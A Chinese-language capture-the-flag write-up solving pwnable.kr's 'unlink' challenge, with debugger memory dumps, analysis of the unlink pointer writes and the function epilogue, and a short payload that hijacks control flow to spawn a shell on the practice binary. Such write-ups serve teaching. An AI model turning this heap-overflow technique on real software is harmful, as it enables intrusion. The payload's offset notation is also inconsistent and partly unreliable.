unlink是pwnable.kr上的一道删除双向链表元素时栈溢出的题目;
整体分析过程不是很复杂,需要注意的是ld、libc版本的问题。

patch源程序

为了使本地分析环境与远程环境一致,这里进行了程序patch:在pwnable.kr上下载libc、ld文件。
使用 https://github.com/io12/pwninit 对文件进行patch。

使用GDB在pwnable.kr上调试./unlink文件,加载peda插件,查看得到远程环境下的libc、ld版本;将远程库文件下载至本机。

0xf772e000 0xf772f000 rw-p	/lib/i386-linux-gnu/libc-2.23.so
0xf772f000 0xf7732000 rw-p mapped
0xf7741000 0xf7742000 rw-p mapped
0xf7742000 0xf7745000 r--p [vvar]
0xf7745000 0xf7746000 r-xp [vdso]
0xf7746000 0xf7769000 r-xp /lib/i386-linux-gnu/ld-2.23.so

使用pwninit进行程序patch的命令如下,程序会生成unlink_patched文件,其中--no-template 指定了不需要使用pwninit生成py文件,而sudo则是因为不使用会报错:)

sudo ~/Documents/01_Pwn_Tools/pwninit/pwninit --bin unlink --ld ld-linux.so.2 --libc libc-2.23.so --no-template

使用gdb调试patch之后的程序,检验libc库、ld库是否已经修改。

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8047000 0x8048000 rw-p 1000 0 /home/[username]/Documents/Pwnable.kr/unlink/unlink_patched
0x8048000 0x8049000 r-xp 1000 1000 /home/[username]/Documents/Pwnable.kr/unlink/unlink_patched
0x8049000 0x804a000 r--p 1000 1000 /home/[username]/Documents/Pwnable.kr/unlink/unlink_patched
0x804a000 0x804b000 rw-p 1000 2000 /home/[username]/Documents/Pwnable.kr/unlink/unlink_patched
0xf7e0e000 0xf7e0f000 rw-p 1000 0 [anon_f7e0e]
0xf7e0f000 0xf7fbf000 r-xp 1b0000 0 /home/[username]/Documents/Pwnable.kr/unlink/libc-2.23.so
0xf7fbf000 0xf7fc0000 ---p 1000 1b0000 /home/[username]/Documents/Pwnable.kr/unlink/libc-2.23.so
0xf7fc0000 0xf7fc2000 r--p 2000 1b0000 /home/[username]/Documents/Pwnable.kr/unlink/libc-2.23.so
0xf7fc2000 0xf7fc3000 rw-p 1000 1b2000 /home/[username]/Documents/Pwnable.kr/unlink/libc-2.23.so
0xf7fc3000 0xf7fc7000 rw-p 4000 0 [anon_f7fc3]
0xf7fc7000 0xf7fcb000 r--p 4000 0 [vvar]
0xf7fcb000 0xf7fcd000 r-xp 2000 0 [vdso]
0xf7fcd000 0xf7ff0000 r-xp 23000 0 /home/[username]/Documents/Pwnable.kr/unlink/ld-2.23.so
0xf7ff0000 0xf7ff1000 r--p 1000 22000 /home/[username]/Documents/Pwnable.kr/unlink/ld-2.23.so
0xf7ff1000 0xf7ff2000 rw-p 1000 23000 /home/[username]/Documents/Pwnable.kr/unlink/ld-2.23.so
0xffaa7000 0xffac8000 rw-p 21000 0 [stack]

程序分析

程序的漏洞在于main函数使用了不安全的gets函数,从而导致了栈溢出漏洞,同时源程序里提供了shell函数,因此只需要让程序执行到shell函数即可getshell。

int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));

// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;

printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);

// exploit this unlink!
unlink(B);
return 0;
}

双向链表

程序定义了双向链表,并且使用unlink函数删除掉中间的元素、同时修改前后元素的指针。
使用gdb运行patch后程序,同时下如下断点:

pwndbg> info b
Num Type Disp Enb Address What
1 breakpoint keep y 0x0804852f <main>
breakpoint already hit 1 time
2 breakpoint keep y 0x080485c7 <main+152>
breakpoint already hit 1 time
3 breakpoint keep y 0x080485f7 <main+200>

程序泄漏出堆栈地址:

here is stack address leak: 0xff901d44
here is heap address leak: 0x953e410

查看栈地址分配:x/40x 0x953e410

pwndbg> x/40x 0x953e410
0x953e410: 0x0953e428 0x00000000 0x00000000 0x00000000
0x953e420: 0x00000000 0x00000019 0x0953e440 0x0953e410
0x953e430: 0x00000000 0x00000000 0x00000000 0x00000019
0x953e440: 0x00000000 0x0953e428 0x00000000 0x00000000
0x953e450: 0x00000000 0x00000409 0x65726568 0x20736920
0x953e460: 0x70616568 0x64646120 0x73736572 0x61656c20
0x953e470: 0x30203a6b 0x33353978 0x30313465 0x000a340a
0x953e480: 0x00000000 0x00000000 0x00000000 0x00000000
0x953e490: 0x00000000 0x00000000 0x00000000 0x00000000
0x953e4a0: 0x00000000 0x00000000 0x00000000 0x00000000

输入c,让程序继续运行;输入传入gets函数的字符串。

pwndbg> c
Continuing.
now that you have leaks, get shell!
AAAABBBBCCCC

unlink函数的源代码如下;关于unlink函数,经过反复折腾之后得出的结论是unlink传递的是指针,而不是指针指向元素的值。(准确理解这个十分重要)

void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}

按照上面的栈值,P = 0x953e428, BK = 0x0953e410, FD = 0x0953e440;
FD->bk=BK; 执行的内容是,将 BK指针0x0953e410 写入 FD->bk(即0x0953e440 + 4)处。
BK->fd=FD; 执行的内容是,将 FD指针0x0953e440 写入 BK->fd(0x0953e410)处。

再次查看堆地址空间,发现已进行了覆盖,同时unlink函数完成了双向链表首尾指针的修改。

pwndbg> x/40x 0x953e410
0x953e410: 0x0953e440 0x00000000 0x41414141 0x42424242
0x953e420: 0x43434343 0x00000000 0x0953e440 0x0953e410
0x953e430: 0x00000000 0x00000000 0x00000000 0x00000019
0x953e440: 0x00000000 0x0953e410 0x00000000 0x00000000
0x953e450: 0x00000000 0x00000409 0x20776f6e 0x74616874
0x953e460: 0x756f7920 0x76616820 0x656c2065 0x2c736b61
0x953e470: 0x74656720 0x65687320 0x0a216c6c 0x000a340a
0x953e480: 0x00000000 0x00000000 0x00000000 0x00000000
0x953e490: 0x00000000 0x00000000 0x00000000 0x00000000
0x953e4a0: 0x00000000 0x00000000 0x00000000 0x00000000

理解了unlink之后,可以思考利用途径,但主要都涉及到heap_leak + 0x18 ~ 0x20 这8个字节的地址规划,这两个p32地址均需要可写,不然程序会报错。

所以直接将shell函数地址(0x080484eb)写入某一地址是不可取的,因为shell函数位于代码段,不可写;

比较理想的思路是分别将这两个地址分配值堆、栈中。

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8047000 0x8048000 rw-p 1000 0 /home/[username]/Documents/Pwnable.kr/unlink/unlink_patched
0x8048000 0x8049000 r-xp 1000 1000 /home/[username]/Documents/Pwnable.kr/unlink/unlink_patched
0x8049000 0x804a000 r--p 1000 1000 /home/[username]/Documents/Pwnable.kr/unlink/unlink_patched
0x804a000 0x804b000 rw-p 1000 2000 /home/[username]/Documents/Pwnable.kr/unlink/unlink_patched
0x953e000 0x955f000 rw-p 21000 0 [heap]
0xf7d25000 0xf7d26000 rw-p 1000 0 [anon_f7d25]
0xf7d26000 0xf7ed6000 r-xp 1b0000 0 /home/[username]/Documents/Pwnable.kr/unlink/libc-2.23.so
0xf7ed6000 0xf7ed7000 ---p 1000 1b0000 /home/[username]/Documents/Pwnable.kr/unlink/libc-2.23.so
0xf7ed7000 0xf7ed9000 r--p 2000 1b0000 /home/[username]/Documents/Pwnable.kr/unlink/libc-2.23.so
0xf7ed9000 0xf7eda000 rw-p 1000 1b2000 /home/[username]/Documents/Pwnable.kr/unlink/libc-2.23.so
0xf7eda000 0xf7ede000 rw-p 4000 0 [anon_f7eda]
0xf7ede000 0xf7ee2000 r--p 4000 0 [vvar]
0xf7ee2000 0xf7ee4000 r-xp 2000 0 [vdso]
0xf7ee4000 0xf7f07000 r-xp 23000 0 /home/[username]/Documents/Pwnable.kr/unlink/ld-2.23.so
0xf7f07000 0xf7f08000 r--p 1000 22000 /home/[username]/Documents/Pwnable.kr/unlink/ld-2.23.so
0xf7f08000 0xf7f09000 rw-p 1000 23000 /home/[username]/Documents/Pwnable.kr/unlink/ld-2.23.so
0xff8e3000 0xff904000 rw-p 21000 0 [stack]

但是由于unlink函数传递的只是指针,所以单纯依靠unlink函数无法getshell。

异常程序结尾

通过看其他人的writeup,发现汇编代码中程序结尾的异常。

0x080485f2 <+195>:	call   0x8048504 <unlink>
0x080485f7 <+200>: add esp,0x10
0x080485fa <+203>: mov eax,0x0
0x080485ff <+208>: mov ecx,DWORD PTR [ebp-0x4]
0x08048602 <+211>: leave
0x08048603 <+212>: lea esp,[ecx-0x4]
0x08048606 <+215>: ret

构建EXP

那么我们的思路就比较清晰了,为了执行shell函数:

  1. 需要esp的值为 0x080484eb ,因此 [ecx-0x4] = 0x080484eb
  2. 我们可以利用堆溢出控制堆空间数据,那么假设我们将shell函数地址写入 heap_leak + 0xc 处
  3. 则 [ecx - 0x4] = [heap_leak + 0xc] = 0x080484eb,即 ecx = heap_leak + 0x10
  4. 进一步,ecx 的值为 [ebp - 0x4] 处的值,又根据调试信息,ebp = stack_leak + 0x14
  5. 即 heap_leak + 0x10 (堆数据) = [stack_leak + 0x10] (栈地址)

使用unlink函数来控制 ebp - 0x4 处的值:

  1. 假设heap_leak + 0x18处依次设置为栈地址(stack_address)和堆地址(heap_address)
  2. 那么 unlink函数中,FD = stack_address , BK = heap_address
  3. FD->bk=BK;将 heap_address (堆数据) 写入 stack_address + 0x4 (栈地址) 处
  4. BK->fd=FD; 会将 stack_address 写入 heap_address 处。(对解题没啥用,但是必须要它能正确运行才不会报错)

汇总如下:
栈地址:stack_address + 0x4 = stack_leak + 0x10, 即stack_address = stack_leak + 0xc
堆数据:heap_address = heap_leak + 0x10

根据上述分析,构建最终的exploit为 b”AAAA” + p32(0x080484eb) + b”A”*8 + p32(stack_address + 0xc) + p32(heap_address + 0x10)

其他一些杂项信息

/bin/sh 和 /bin/bash 的权限差异

成功getshell之后,使用bash无法查看flag,而sh则可以。

[*] Switching to interactive mode
$ $ ls
flag intended_solution.txt unlink unlink.c
$ $ bash
bash-4.3$ $ cat flag
cat: flag: Permission denied
bash-4.3$ $ exit
exit
$ $ cat flag
what_a_fake_f1ag_you_should_try_it_yourself
$ $

不同版本libc库对堆空间分配的差异

如果仔细查看malloc函数在堆空间进行的数据分配,就会发现实际分配的空间大小为0x18字节,而实际需要的空间为两个指针(8字节)、字符串(8字节),实际多分配了8字节。

其实malloc除了分配需要的数据之外还会添加其他的信息,然后还会进行对奇,一般分配的字节为8或者16的整数倍。

搜索关键词: malloc alignment

pwntools 配合gdb调试问题

使用pwntools的模板功能生成对应的python模板文件,可以结合 LOCAL 、GDB、DEBUG等参数很方便的进行调试,本次遇到了一个问题还没解决、暂且记录下来。

Program received signal SIGSEGV, Segmentation fault.
_init (argc=1, argv=0xffaebf44, envp=0xffaebf4c) at ../csu/init-first.c:83
83 ../csu/init-first.c: No such file or directory.